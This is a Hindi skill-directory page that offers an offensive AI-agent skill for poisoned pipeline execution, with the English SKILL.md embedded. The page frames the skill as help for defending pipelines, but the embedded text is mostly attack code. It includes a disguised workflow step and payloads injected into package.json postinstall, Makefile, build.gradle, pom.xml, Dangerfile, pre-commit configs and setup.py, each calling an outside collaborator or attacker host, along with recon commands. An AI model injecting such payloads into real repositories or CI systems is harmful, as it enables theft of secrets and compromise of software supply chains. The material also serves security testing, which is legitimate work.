poisoned-pipeline-execution
यह क्या करती है
यह गाइड उन हमलों को कवर करती है जिनमें build स्क्रिप्ट या पाइपलाइन कॉन्फ़िग में बदलाव से CI सिस्टम अनचाहा कोड चलाता है। यह उन टीमों के लिए है जो बाहरी योगदान से बिल्ड करती हैं और अपनी पाइपलाइन बचाना चाहती हैं।
कब इस्तेमाल करें
- ✓जब कोई रिपॉज़िटरी फ़ोर्क से आए pull requests को विशेषाधिकार वाली पाइपलाइन एक्सेस के साथ बिल्ड करती है।
- ✓जब बाहरी योगदानकर्ता Makefile या package स्क्रिप्ट जैसी build फ़ाइलें बदल सकते हैं।
- ✓जब कोई टीम देखना चाहती है कि मेंटेनर के मंज़ूरी देने से पहले कौन-से ट्रिगर कोड चलाते हैं।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमारी CI बाहरी pull requests पर टेस्ट चलाती है। क्या बदली हुई build फ़ाइल PR में हमारे secrets के साथ कोड चला सकती है?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट देखता है कि कौन-से ट्रिगर pull requests बिल्ड करते हैं, पाइपलाइन कौन-सी फ़ाइलें चलाती है, और क्या अविश्वसनीय बदलाव विशेषाधिकार पहुँच के साथ चल सकते हैं।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Poisoned Pipeline Execution (PPE)
PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
- Direct PPE (D-PPE): attacker edits the pipeline config itself (
.github/workflows/*.yml,.gitlab-ci.yml,Jenkinsfile) in a PR/branch the CI runs. - Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (
Makefile,build.gradle,pom.xml), package-manager scripts (package.jsonscripts,setup.py), lint/test hooks (Dangerfile,.pre-commit-config.yaml,tox.ini,pyproject.toml[tool.poetry.scripts]), or any filemake testends up sourcing.
Recon — does the target build untrusted code?
# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.
Direct PPE — edit the workflow itself
# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner" # blends in
run: |
# Beacon-only PoC — DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"
D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.
Indirect PPE — edit a file the pipeline calls
package.json scripts
// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
"scripts": {
"test": "jest",
"postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
}
}
npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.
Makefile / make test
# PR adds an indented line under the existing `test:` target
test:
pytest -q
@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true
Gradle / Maven
// build.gradle — runs at evaluation, before any task
allprojects {
doFirst {
"curl -s https://<COLLAB>/gradle".execute()
}
}
<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
<groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
<executions><execution><phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration><executable>curl</executable>
<arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
</configuration>
</execution></executions>
</plugin>
Danger / pre-commit / lint hooks
# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
- repo: https://github.com/<ATTACKER>/innocent-lint
rev: main
hooks: [{ id: lint }]
setup.py / pyproject.toml
# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")
Test fixtures
conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files — all execute before the first test runs.
pull_request_target — the dangerous trigger
pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:
# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
अक्सर पूछे जाने वाले सवाल
pull_request_target क्या है?
यह GitHub का एक ट्रिगर है जो बेस रिपॉज़िटरी की अनुमतियों के साथ चलता है, इसलिए गाइड इसे अविश्वसनीय कोड बिल्ड करते समय जोखिम बताती है।
कौन-सी फ़ाइलें जोखिम भरी हैं?
Build स्क्रिप्ट, package स्क्रिप्ट, lint hooks और पाइपलाइन कॉन्फ़िग फ़ाइलें जिन्हें पाइपलाइन चलाती है।
टीमें जोखिम कैसे कम कर सकती हैं?
फ़ोर्क बिल्ड के लिए मंज़ूरी माँगकर, और secrets के साथ अविश्वसनीय कोड चलाने से बचकर।
जानकारी
लेखक का मूल विवरण
Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14030
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।